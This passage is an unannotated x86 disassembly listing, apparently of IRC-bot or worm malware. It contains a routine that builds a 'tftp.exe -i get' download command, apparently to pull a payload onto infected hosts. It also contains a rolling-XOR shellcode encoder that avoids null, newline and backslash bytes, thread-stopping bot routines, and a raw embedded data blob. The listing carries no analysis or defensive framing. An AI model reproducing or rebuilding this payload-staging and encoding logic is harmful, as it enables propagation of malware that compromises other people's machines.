arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_416ABE
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_416AFB
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_416AFB:				; CODE XREF: sub_416ADE+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_417AB0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_417AB0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_433B70, eax
		lea	eax, [edi+1]
		mov	dword_433B91, eax
		lea	eax, [edi+17h]
		mov	dword_433B89, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_433B0C
		push	ebx
		mov	dword_433B9F, eax
		call	sub_417390
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_417390
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_433B95
		push	esi
		call	sub_417390
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416ADE	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BB6	proc near		; CODE XREF: sub_416BCD+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_416ABE
		push	eax
		call	sub_416C3A
		add	esp, 0Ch
		retn
sub_416BB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BCD	proc near		; CODE XREF: sub_402B84+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_416BB6
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_416BED
		cmp	eax, 0FFFFh
		jbe	short loc_416BF1


loc_416BED:				; CODE XREF: sub_416BCD+17j
		xor	eax, eax
		jmp	short loc_416C36
; ---------------------------------------------------------------------------


loc_416BF1:				; CODE XREF: sub_416BCD+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_416ABE
		add	eax, 101h
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_416ABE
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_416ADE
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416C55
		push	esi
		mov	edi, eax
		call	sub_417C3B
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_416C36:				; CODE XREF: sub_416BCD+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_416BCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C3A	proc near		; CODE XREF: sub_416BB6+Ep
					; sub_416C55+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_416C43
		inc	ecx


loc_416C43:				; CODE XREF: sub_416C3A+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_416C3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C55	proc near		; CODE XREF: sub_416BCD+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_416C74


loc_416C71:				; CODE XREF: sub_416C55+8j
					; sub_416C55+Ej ...
		inc	[ebp+arg_C]


loc_416C74:				; CODE XREF: sub_416C55+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_416C9C
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_416C95
		cmp	al, 0Dh
		jz	short loc_416C95
		cmp	al, 5Ch
		jz	short loc_416C95
		test	al, al
		jnz	short loc_416C9C


loc_416C95:				; CODE XREF: sub_416C55+32j
					; sub_416C55+36j ...
		add	[ebp+arg_C], 100h


loc_416C9C:				; CODE XREF: sub_416C55+28j
					; sub_416C55+3Ej
		push	[ebp+arg_C]
		call	sub_416C3A
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_416CB4
		cmp	eax, 0FFFFh
		jbe	short loc_416CBB


loc_416CB4:				; CODE XREF: sub_416C55+56j
		xor	eax, eax
		jmp	loc_416D59
; ---------------------------------------------------------------------------


loc_416CBB:				; CODE XREF: sub_416C55+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CD988
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_416CEB


loc_416CCF:				; CODE XREF: sub_416C55+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_416CE2
		cmp	al, 0Ah
		jz	short loc_416CE2
		cmp	al, 0Dh
		jz	short loc_416CE2
		cmp	al, 5Ch
		jnz	short loc_416CE6


loc_416CE2:				; CODE XREF: sub_416C55+7Fj
					; sub_416C55+83j ...
		inc	bl
		xor	edx, edx


loc_416CE6:				; CODE XREF: sub_416C55+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_416CCF


loc_416CEB:				; CODE XREF: sub_416C55+78j
		cmp	ecx, esi
		mov	byte_4CD988, bl
		ja	short loc_416D17
		push	15h
		push	offset loc_433AF4
		push	[ebp+arg_0]
		mov	byte_433B01, cl
		mov	byte_433B05, bl
		call	sub_417390
		add	esp, 0Ch
		push	15h
		jmp	short loc_416D38
; ---------------------------------------------------------------------------


loc_416D17:				; CODE XREF: sub_416C55+9Ej
		push	17h
		push	offset loc_433ADC
		push	[ebp+arg_0]
		mov	word_433AEA, cx
		mov	byte_433AEF, bl
		call	sub_417390
		add	esp, 0Ch
		push	17h


loc_416D38:				; CODE XREF: sub_416C55+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_416D54
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_416D46:				; CODE XREF: sub_416C55+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_416D46


loc_416D54:				; CODE XREF: sub_416C55+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_416D59:				; CODE XREF: sub_416C55+61j
		pop	esi
		leave
		retn
sub_416C55	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D5C	proc near		; CODE XREF: sub_4060D0+227p
					; sub_407252+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4405F0


loc_416D64:				; CODE XREF: sub_416D5C+18j
		cmp	byte ptr [eax],	0
		jz	short loc_416D78
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CD5F0
		jl	short loc_416D64
		jmp	short loc_416DC3
; ---------------------------------------------------------------------------


loc_416D78:				; CODE XREF: sub_416D5C+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_4405F0[esi]
		push	eax
		call	sub_418C10
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_4407F0[esi], eax
		and	dword_4407F4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_4407F8[esi], 0
		mov	dword_4407FC[esi], eax
		and	byte_440808[esi], 0
		pop	esi


loc_416DC3:				; CODE XREF: sub_416D5C+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_416D5C	endp

; ---------------------------------------------------------------------------
byte_416DC7	db 55h			; DATA XREF: sub_40EE72+5C01o
		dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h
		dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h
		dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh
		dd 26Ch, 6A14C483h, 0BEE89000h,	5F021F94h, 0EC8B555Eh
		dd 200EC81h, 57560000h,	75FF006Ah, 3BD06810h, 75FF0043h
		dd 875FF0Ch, 0FF6840E8h, 14C483FFh, 0F0BEFF33h,	80004405h
		dd 3C74003Eh, 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h
		dd 68FFFFFEh, 43254Ch, 446E850h, 16A0000h, 0FE00858Dh
		dd 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh
		dd 234C681h, 81470000h,	4CD5F0FEh, 5FB07C00h
; ---------------------------------------------------------------------------
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416E97	proc near		; CODE XREF: sub_40EE72+4DD9p
					; sub_416F25+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_416F1F
		cmp	esi, 400h
		jge	short loc_416F1F
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_440804[esi]
		lea	edi, dword_440804[esi]
		nop
		call	near ptr 27E07FEh
		cmp	[edi], ebx
		jz	short loc_416ECF
		push	1
		pop	ebp


loc_416ECF:				; CODE XREF: sub_416E97+33j
		mov	[edi], ebx
		lea	edi, dword_4407F8[esi]
		mov	dword_4407F0[esi], ebx
		mov	dword_4407F4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_416EF0
		push	eax
		call	sub_415419
		pop	ecx


loc_416EF0:				; CODE XREF: sub_416E97+50j
		mov	[edi], ebx
		lea	edi, dword_4407FC[esi]
		mov	byte ptr dword_4405F0[esi], bl
		mov	byte_440808[esi], bl
		push	dword ptr [edi]
		call	dword_43AE30
		lea	esi, dword_440800[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43AE30
		mov	[esi], ebx
		pop	edi


loc_416F1F:				; CODE XREF: sub_416E97+Dj
					; sub_416E97+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416E97	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F25	proc near		; CODE XREF: sub_40AC42:loc_40AC66p
					; sub_40D3A5+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_4405F0


loc_416F31:				; CODE XREF: sub_416F25+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_416F42
		push	edi
		call	sub_416E97
		test	eax, eax
		pop	ecx
		jz	short loc_416F42
		inc	ebx


loc_416F42:				; CODE XREF: sub_416F25+Fj
					; sub_416F25+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CD5F0
		jl	short loc_416F31
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_416F25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F57	proc near		; CODE XREF: sub_40EE72+1E3Dp
					; sub_40EE72+1EABp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4407F4


loc_416F6B:				; CODE XREF: sub_416F57+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_416F8D
		test	edi, edi
		jle	short loc_416F7F
		cmp	[esi], edi
		jz	short loc_416F7F
		cmp	ebx, edi
		jnz	short loc_416F8D


loc_416F7F:				; CODE XREF: sub_416F57+1Ej
					; sub_416F57+22j
		push	ebx
		call	sub_416E97
		test	eax, eax
		pop	ecx
		jz	short loc_416F8D
		inc	[ebp+var_4]


loc_416F8D:				; CODE XREF: sub_416F57+1Aj
					; sub_416F57+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CD7F4
		jl	short loc_416F6B
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416F57	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FA4	proc near		; CODE XREF: sub_4071DB+Bp
					; sub_407252+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4407F0


loc_416FAB:				; CODE XREF: sub_416FA4+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_416FB4
		inc	eax


loc_416FB4:				; CODE XREF: sub_416FA4+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CD7F0
		jl	short loc_416FAB
		retn
sub_416FA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FC3	proc near		; CODE XREF: sub_40EE72+5698p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_4407F0


loc_416FCD:				; CODE XREF: sub_416FC3+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_416FE6
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CD7F0
		jl	short loc_416FCD
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416FE6:				; CODE XREF: sub_416FC3+10j
		mov	eax, edx
		pop	esi
		retn
sub_416FC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FEA	proc near		; CODE XREF: sub_40EE72+1070p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_417003
		push	[ebp+arg_1C]
		call	sub_41781F
		pop	ecx


loc_417003:				; CODE XREF: sub_416FEA+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_416F57
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41702F
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_417049
; ---------------------------------------------------------------------------


loc_41702F:				; CODE XREF: sub_416FEA+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4172B0
		add	esp, 10h


loc_417049:				; CODE XREF: sub_416FEA+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_417069
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_417069:				; CODE XREF: sub_416FEA+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		leave
		retn
sub_416FEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_417078	proc near		; CODE XREF: sub_401000+A5p
					; sub_40144A+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_440804[eax], ecx
		mov	dword_4407F0[eax], ecx
		mov	dword_4407F4[eax], ecx
		mov	dword_4407F8[eax], ecx
		mov	dword_4407FC[eax], ecx
		mov	dword_440800[eax], ecx
		mov	byte ptr dword_4405F0[eax], cl
		mov	byte_440808[eax], cl
		retn
sub_417078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170B5	proc near		; CODE XREF: sub_40EE72+6189p
					; sub_4171E3+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4170BF:				; CODE XREF: sub_4170B5+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41711F
		cmp	eax, 1
		jnz	short loc_41711F
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41711F
		cmp	cl, 2Ah
		jz	short loc_417106
		cmp	cl, 3Fh
		jz	short loc_4170E9
		cmp	cl, 5Bh
		jz	short loc_4170EE
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_4170E9:				; CODE XREF: sub_4170B5+26j
		inc	[ebp+arg_4]
		jmp	short loc_417119
; ---------------------------------------------------------------------------


loc_4170EE:				; CODE XREF: sub_4170B5+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41714B
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417119
; ---------------------------------------------------------------------------


loc_417106:				; CODE XREF: sub_4170B5+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4171E3
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_417119:				; CODE XREF: sub_4170B5+37j
					; sub_4170B5+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4170BF
; ---------------------------------------------------------------------------


loc_41711F:				; CODE XREF: sub_4170B5+Ej
					; sub_4170B5+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41712F
		cmp	eax, 1
		jnz	short loc_417146
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41711F
; ---------------------------------------------------------------------------


loc_41712F:				; CODE XREF: sub_4170B5+6Dj
		cmp	eax, 1
		jnz	short loc_417146
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_417146
		cmp	byte ptr [esi],	0
		jnz	short loc_417146
		push	1
		pop	eax
		jmp	short loc_417148
; ---------------------------------------------------------------------------


loc_417146:				; CODE XREF: sub_4170B5+72j
					; sub_4170B5+7Dj ...
		xor	eax, eax


loc_417148:				; CODE XREF: sub_4170B5+8Fj
		pop	esi
		pop	ebp
		retn
sub_4170B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41714B	proc near		; CODE XREF: sub_4170B5+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_41716C
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_41716C:				; CODE XREF: sub_41714B+19j
		push	ebx
		push	esi


loc_41716E:				; CODE XREF: sub_41714B+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_41717C
		cmp	[ebp+var_4], eax
		jnz	short loc_4171C8


loc_41717C:				; CODE XREF: sub_41714B+2Aj
		test	edi, edi
		jnz	short loc_4171BD
		cmp	bl, 2Dh
		jnz	short loc_4171B1
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4171B1
		cmp	al, 5Dh
		jz	short loc_4171B1
		cmp	[ebp+var_4], edi
		jnz	short loc_4171B1
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4171BD
		cmp	bl, al
		jg	short loc_4171BD
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4171BD
; ---------------------------------------------------------------------------


loc_4171B1:				; CODE XREF: sub_41714B+38j
					; sub_41714B+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4171BD
		push	1
		pop	edi


loc_4171BD:				; CODE XREF: sub_41714B+33j
					; sub_41714B+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41716E
; ---------------------------------------------------------------------------


loc_4171C8:				; CODE XREF: sub_41714B+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4171D5
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4171D5:				; CODE XREF: sub_41714B+82j
		cmp	edi, eax
		jnz	short loc_4171DE
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4171DE:				; CODE XREF: sub_41714B+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_41714B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171E3	proc near		; CODE XREF: sub_4170B5+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4171FF:				; CODE XREF: sub_4171E3+3Aj
		cmp	[eax], bl
		jz	short loc_41721F
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_417214
		cmp	cl, 2Ah
		jnz	short loc_41721F
		cmp	cl, 3Fh
		jnz	short loc_417217


loc_417214:				; CODE XREF: sub_4171E3+25j
		inc	eax
		mov	[edi], eax


loc_417217:				; CODE XREF: sub_4171E3+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4171FF
; ---------------------------------------------------------------------------


loc_41721F:				; CODE XREF: sub_4171E3+1Ej
					; sub_4171E3+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_41722A
		inc	dword ptr [esi]
		jmp	short loc_41721F
; ---------------------------------------------------------------------------


loc_41722A:				; CODE XREF: sub_4171E3+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_41724B
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41723C
		xor	eax, eax
		jmp	short loc_4172AB
; ---------------------------------------------------------------------------


loc_41723C:				; CODE XREF: sub_4171E3+53j
		cmp	cl, bl
		jnz	short loc_41724B
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_41724B
		push	1
		pop	eax
		jmp	short loc_4172AB
; ---------------------------------------------------------------------------


loc_41724B:				; CODE XREF: sub_4171E3+4Dj
					; sub_4171E3+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4170B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417295


loc_417259:				; CODE XREF: sub_4171E3+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_41725D:				; CODE XREF: sub_4171E3+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_417275
		cmp	cl, 5Bh
		jz	short loc_417275
		cmp	dl, bl
		jz	short loc_417275
		inc	eax
		mov	[edi], eax
		jmp	short loc_41725D
; ---------------------------------------------------------------------------


loc_417275:				; CODE XREF: sub_4171E3+82j
					; sub_4171E3+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41728C
		push	eax
		push	dword ptr [esi]
		call	sub_4170B5
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_417291
; ---------------------------------------------------------------------------


loc_41728C:				; CODE XREF: sub_4171E3+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_417291:				; CODE XREF: sub_4171E3+A7j
		cmp	eax, ebx
		jnz	short loc_417259


loc_417295:				; CODE XREF: sub_4171E3+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4172A8
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4172A8
		mov	[ebp+var_4], 1


loc_4172A8:				; CODE XREF: sub_4171E3+B6j
					; sub_4171E3+BCj
		mov	eax, [ebp+var_4]


loc_4172AB:				; CODE XREF: sub_4171E3+57j
					; sub_4171E3+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4171E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172B0	proc near		; CODE XREF: sub_401000+64p
					; sub_4010B5+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4172F0
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4172FD
; ---------------------------------------------------------------------------


loc_4172F0:				; CODE XREF: sub_4172B0+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_4172FD:				; CODE XREF: sub_4172B0+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4172B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417302	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D82+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_433C20, eax
		retn
sub_417302	endp


; =============== S U B	R O U T	I N E =======================================



sub_41730C	proc near		; CODE XREF: sub_4010B5+CBp
					; sub_4010B5+13Fp ...
		mov	eax, dword_433C20
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_433C20, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41730C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417330	proc near		; CODE XREF: sub_4010B5+281p
					; sub_40144A+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417383
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417377
		neg	ecx
		and	ecx, 3
		jz	short loc_417359
		sub	edx, ecx


loc_417353:				; CODE XREF: sub_417330+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417353


loc_417359:				; CODE XREF: sub_417330+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417377
		rep stosd
		test	edx, edx
		jz	short loc_41737D


loc_417377:				; CODE XREF: sub_417330+18j
					; sub_417330+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417377


loc_41737D:				; CODE XREF: sub_417330+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417383:				; CODE XREF: sub_417330+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417390	proc near		; CODE XREF: sub_4010B5+22Dp
					; sub_4010B5+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_39		= byte ptr  41h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
